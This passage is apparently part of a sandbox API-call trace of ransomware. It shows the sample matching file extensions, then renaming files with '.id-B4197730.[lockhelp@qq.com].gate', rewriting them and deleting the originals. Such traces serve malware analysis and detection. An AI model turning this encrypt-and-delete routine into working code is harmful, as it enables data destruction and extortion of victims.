(lpString=".pdf") returned 4 [0126.450] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0126.450] lstrlenW (lpString=".xls") returned 4 [0126.450] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0126.451] lstrlenW (lpString=".xlsx") returned 5 [0126.451] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0126.451] lstrlenW (lpString=".ppt") returned 4 [0126.451] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0126.451] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.451] lstrlenW (lpString=".zip") returned 4 [0126.451] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0126.451] lstrlenW (lpString=".rar") returned 4 [0126.451] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0126.451] lstrlenW (lpString=".bz2") returned 4 [0126.451] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0126.451] lstrlenW (lpString=".7z") returned 3 [0126.451] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0126.451] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.451] lstrlenW (lpString=".dbf") returned 4 [0126.451] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0126.451] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.451] lstrlenW (lpString=".1cd") returned 4 [0126.451] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0126.451] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0126.451] lstrlenW (lpString=".jpg") returned 4 [0126.451] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0126.452] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0126.452] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0126.452] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0126.452] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=2166784) returned 1 [0126.452] CloseHandle (hObject=0x2c0) returned 1 [0126.452] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0126.452] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.452] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0126.453] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0126.453] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc64 | out: lpNewFilePointer=0x0) returned 1 [0126.453] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc24 | out: lpNewFilePointer=0x0) returned 1 [0126.453] ReadFile (in: hFile=0x2c0, lpBuffer=0x39cf058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eafc30, lpOverlapped=0x0 | out: lpBuffer=0x39cf058*, lpNumberOfBytesRead=0x2eafc30*=0x40000, lpOverlapped=0x0) returned 1 [0126.540] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc24 | out: lpNewFilePointer=0x0) returned 1 [0126.540] ReadFile (in: hFile=0x2c0, lpBuffer=0x3a0f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eafc30, lpOverlapped=0x0 | out: lpBuffer=0x3a0f058*, lpNumberOfBytesRead=0x2eafc30*=0x40000, lpOverlapped=0x0) returned 1 [0126.672] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2eafc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.672] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc24 | out: lpNewFilePointer=0x0) returned 1 [0126.672] ReadFile (in: hFile=0x2c0, lpBuffer=0x3a4f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eafc30, lpOverlapped=0x0 | out: lpBuffer=0x3a4f058*, lpNumberOfBytesRead=0x2eafc30*=0x40000, lpOverlapped=0x0) returned 1 [0126.774] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0126.774] WriteFile (in: hFile=0x2c0, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x2eafca8, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafca8*=0xc015c, lpOverlapped=0x0) returned 1 [0126.789] SetEndOfFile (hFile=0x2c0) returned 1 [0126.789] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x43314e0 [0126.920] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc74 | out: lpNewFilePointer=0x0) returned 1 [0126.920] WriteFile (in: hFile=0x2c0, lpBuffer=0x43314e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eafc80, lpOverlapped=0x0 | out: lpBuffer=0x43314e0*, lpNumberOfBytesWritten=0x2eafc80*=0x40000, lpOverlapped=0x0) returned 1 [0126.922] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc74 | out: lpNewFilePointer=0x0) returned 1 [0126.922] WriteFile (in: hFile=0x2c0, lpBuffer=0x43314e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eafc80, lpOverlapped=0x0 | out: lpBuffer=0x43314e0*, lpNumberOfBytesWritten=0x2eafc80*=0x40000, lpOverlapped=0x0) returned 1 [0126.924] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc74 | out: lpNewFilePointer=0x0) returned 1 [0126.924] WriteFile (in: hFile=0x2c0, lpBuffer=0x43314e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eafc80, lpOverlapped=0x0 | out: lpBuffer=0x43314e0*, lpNumberOfBytesWritten=0x2eafc80*=0x40000, lpOverlapped=0x0) returned 1 [0126.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0126.928] CloseHandle (hObject=0x2c0) Thread: id = 17 os_tid = 0xd2c [0109.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x67ed80 [0109.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x68ed88 [0109.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ccc8 [0109.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x63d1d0 [0109.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cbd8 [0109.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3ae1020 [0109.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cad0 [0109.630] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cad0, Size=0x20) returned 0x5eea70 [0109.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ca70 [0109.630] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60ca70, Size=0x20) returned 0x5ee9d0 [0109.630] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.630] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.630] Wow64DisableWow64FsRedirection (in: OldValue=0x2feff50 | out: OldValue=0x2feff50*=0x0) returned 1 [0109.630] lstrlenW (lpString="kernel32.dll") returned 12 [0109.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea70 | out: hHeap=0x5b0000) returned 1 [0109.630] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9d0 | out: hHeap=0x5b0000) returned 1 [0109.630] Sleep (dwMilliseconds=0x64) [0109.831] Sleep (dwMilliseconds=0x64) [0110.274] lstrcmpiW (lpString1=".cmd", lpString2=".gate") returned -1 [0110.274] lstrlenW (lpString="preoobe.cmd") returned 11 [0110.274] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.695] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=74) returned 1 [0110.695] CloseHandle (hObject=0x328) returned 1 [0110.695] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0110.695] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.695] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.695] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.695] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.695] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0110.696] GetLastError () returned 0x0 [0110.696] ReadFile (in: hFile=0x328, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x4a, lpOverlapped=0x0) returned 1 [0110.706] WriteFile (in: hFile=0x32c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x50, lpOverlapped=0x0) returned 1 [0110.707] ReadFile (in: hFile=0x328, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0110.707] WriteFile (in: hFile=0x32c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xea, lpOverlapped=0x0) returned 1 [0110.707] SetEndOfFile (hFile=0x32c) returned 1 [0110.707] CloseHandle (hObject=0x32c) returned 1 [0110.708] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.708] SetEndOfFile (hFile=0x328) returned 1 [0110.709] CloseHandle (hObject=0x328) returned 1 [0110.709] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0110.709] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0110.709] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.709] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.709] lstrlenW (lpString=".doc") returned 4 [0110.710] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0110.710] lstrlenW (lpString=".docx") returned 5 [0110.710] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0110.710] lstrlenW (lpString=".pdf") returned 4 [0110.710] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0110.710] lstrlenW (lpString=".xls") returned 4 [0110.710] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0110.710] lstrlenW (lpString=".xlsx") returned 5 [0110.710] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0110.710] lstrlenW (lpString=".ppt") returned 4 [0110.710] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0110.710] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.710] lstrlenW (lpString=".zip") returned 4 [0110.710] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0110.710] lstrlenW (lpString=".rar") returned 4 [0110.710] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0110.710] lstrlenW (lpString=".bz2") returned 4 [0110.710] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0110.710] lstrlenW (lpString=".7z") returned 3 [0110.710] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0110.710] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.710] lstrlenW (lpString=".dbf") returned 4 [0110.710] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0110.710] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.710] lstrlenW (lpString=".1cd") returned 4 [0110.710] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0110.710] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.710] lstrlenW (lpString=".jpg") returned 4 [0110.710] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0110.710] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.710] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.711] lstrlenW (lpString=".doc") returned 4 [0110.711] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0110.711] lstrlenW (lpString=".docx") returned 5 [0110.711] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0110.711] lstrlenW (lpString=".pdf") returned 4 [0110.711] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0110.711] lstrlenW (lpString=".xls") returned 4 [0110.711] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0110.711] lstrlenW (lpString=".xlsx") returned 5 [0110.711] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0110.711] lstrlenW (lpString=".ppt") returned 4 [0110.711] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0110.711] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.711] lstrlenW (lpString=".zip") returned 4 [0110.711] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0110.711] lstrlenW (lpString=".rar") returned 4 [0110.711] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0110.711] lstrlenW (lpString=".bz2") returned 4 [0110.711] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0110.711] lstrlenW (lpString=".7z") returned 3 [0110.711] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0110.711] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.711] lstrlenW (lpString=".dbf") returned 4 [0110.711] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0110.711] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.711] lstrlenW (lpString=".1cd") returned 4 [0110.711] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0110.711] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0110.711] lstrlenW (lpString=".jpg") returned 4 [0110.711] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0110.712] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.712] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.712] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.712] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=18776) returned 1 [0110.712] CloseHandle (hObject=0x328) returned 1 [0110.712] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0110.712] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.712] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.712] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.712] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.712] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0110.714] GetLastError () returned 0x0 [0110.714] ReadFile (in: hFile=0x328, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x4958, lpOverlapped=0x0) returned 1 [0110.762] WriteFile (in: hFile=0x32c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x4960, lpOverlapped=0x0) returned 1 [0110.763] ReadFile (in: hFile=0x328, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0110.763] WriteFile (in: hFile=0x32c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.763] SetEndOfFile (hFile=0x32c) returned 1 [0110.763] CloseHandle (hObject=0x32c) returned 1 [0110.764] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.764] SetEndOfFile (hFile=0x328) returned 1 [0110.765] CloseHandle (hObject=0x328) returned 1 [0110.765] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.765] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0110.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.766] lstrlenW (lpString=".doc") returned 4 [0110.766] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.766] lstrlenW (lpString=".docx") returned 5 [0110.766] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.766] lstrlenW (lpString=".pdf") returned 4 [0110.766] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.766] lstrlenW (lpString=".xls") returned 4 [0110.766] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.766] lstrlenW (lpString=".xlsx") returned 5 [0110.766] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.766] lstrlenW (lpString=".ppt") returned 4 [0110.766] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.766] lstrlenW (lpString=".zip") returned 4 [0110.766] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.766] lstrlenW (lpString=".rar") returned 4 [0110.766] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.766] lstrlenW (lpString=".bz2") returned 4 [0110.766] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.766] lstrlenW (lpString=".7z") returned 3 [0110.766] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.766] lstrlenW (lpString=".dbf") returned 4 [0110.766] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.766] lstrlenW (lpString=".1cd") returned 4 [0110.766] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.766] lstrlenW (lpString=".jpg") returned 4 [0110.766] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.767] lstrlenW (lpString=".doc") returned 4 [0110.767] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.767] lstrlenW (lpString=".docx") returned 5 [0110.767] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.767] lstrlenW (lpString=".pdf") returned 4 [0110.767] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.767] lstrlenW (lpString=".xls") returned 4 [0110.767] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.767] lstrlenW (lpString=".xlsx") returned 5 [0110.767] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.767] lstrlenW (lpString=".ppt") returned 4 [0110.767] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.767] lstrlenW (lpString=".zip") returned 4 [0110.767] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.767] lstrlenW (lpString=".rar") returned 4 [0110.767] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.767] lstrlenW (lpString=".bz2") returned 4 [0110.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.767] lstrlenW (lpString=".7z") returned 3 [0110.767] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.767] lstrlenW (lpString=".dbf") returned 4 [0110.767] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.767] lstrlenW (lpString=".1cd") returned 4 [0110.767] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0110.767] lstrlenW (lpString=".jpg") returned 4 [0110.767] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.767] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.767] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.768] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=18264) returned 1 [0110.768] CloseHandle (hObject=0x328) returned 1 [0110.768] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0110.768] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.768] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: 